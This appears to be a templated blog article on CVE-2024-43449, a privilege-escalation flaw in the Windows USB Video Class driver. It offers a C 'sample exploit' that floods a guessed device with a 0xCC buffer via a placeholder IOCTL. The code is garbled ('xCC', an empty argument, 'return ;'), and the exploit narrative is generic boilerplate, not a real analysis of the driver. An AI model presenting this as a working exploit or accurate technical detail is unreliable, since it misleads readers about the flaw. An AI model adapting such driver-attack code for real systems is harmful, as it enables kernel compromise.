The CVE-2024-43449 vulnerability is a consequential security issue that affects the Windows USB Video Class (UVC) system driver, triggering the elevation of privilege attack. This vulnerability has caused considerable concerns among security experts, given the potential damage it could cause. This in-depth article provides a comprehensive overview of the CVE-2024-43449 vulnerability, along with exploit details, and code snippets to aid in understanding how this vulnerability can be leveraged by attackers.

Description

Windows USB Video Class (UVC) system driver is an essential component that allows applications to communicate with USB video devices such as webcams, digital camcorders, and analog video converters. An elevation of privilege vulnerability exists because of improper handling of objects in memory by the Windows UVC driver. Exploiting this vulnerability, an attacker could run arbitrary code in kernel mode, install programs, view, change, or delete data, or even create new accounts with complete user rights.

Exploit Details

The vulnerability is due to insufficient validation of user-supplied input in the UVC driver. An attacker can exploit this issue by providing crafted input to the affected driver and trigger a buffer overflow, thereby causing a memory corruption. With a successful exploit, an attacker could execute arbitrary code with elevated privileges, leading to the full compromise of the affected system.

Following is a sample code snippet emulating how an attacker would exploit this vulnerability

#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
  HANDLE hDevice;
  DWORD dwBytesReturned;
  TCHAR szDeviceName[MAX_PATH];
  BYTE bData[1024];

  // Fill the buffer with crafted data
  memset(bData, xCC, sizeof(bData));

  // Replace this with the correct device name
  sprintf(szDeviceName, TEXT("\\\\.\\USBVIDEO"));

  hDevice = CreateFile(
    szDeviceName,
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

  if (hDevice == INVALID_HANDLE_VALUE)
  {
    printf("[-] Could not open the device - Error: %d\n", GetLastError());
    return 1;
  }

  // Trigger the vulnerability
  DeviceIoControl(
    hDevice,
    IOCTL_VULNERABLE_FUNCTION, // Replace IOCTL_VULNERABLE_FUNCTION with the correct IOCTL code
    bData,
    sizeof(bData),
    NULL,
    ,
    &dwBytesReturned,
    NULL);

  // Close the device handle
  CloseHandle(hDevice);
  return ;
}

Mitigation

At the time of writing this article, Microsoft has already investigated the vulnerability and provided a stable update to address this issue. Users are advised to install the latest security updates from the Windows Update Center to mitigate the risks associated with the CVE-2024-43449 vulnerability.

Original references

1. Windows USB Video Class System Driver: https://docs.microsoft.com/en-us/windows-hardware/drivers/stream/windows-usb-video-class-driver-overview
2. Microsoft Security Update: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-43449
3. National Vulnerability Database (NVD) Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-43449

Conclusion

The CVE-2024-43449 vulnerability demonstrates the importance of routinely updating your system with security patches from the manufacturer. In this case, Microsoft has addressed the vulnerability by providing an update that resolves the security issue associated with the Windows USB Video Class system driver. System administrators and end-users should ensure that their systems are updated and secured to safeguard their data and assets from potential exploitation.

Timeline

Published on: 11/12/2024 18:15:21 UTC
Last modified on: 01/30/2025 00:09:49 UTC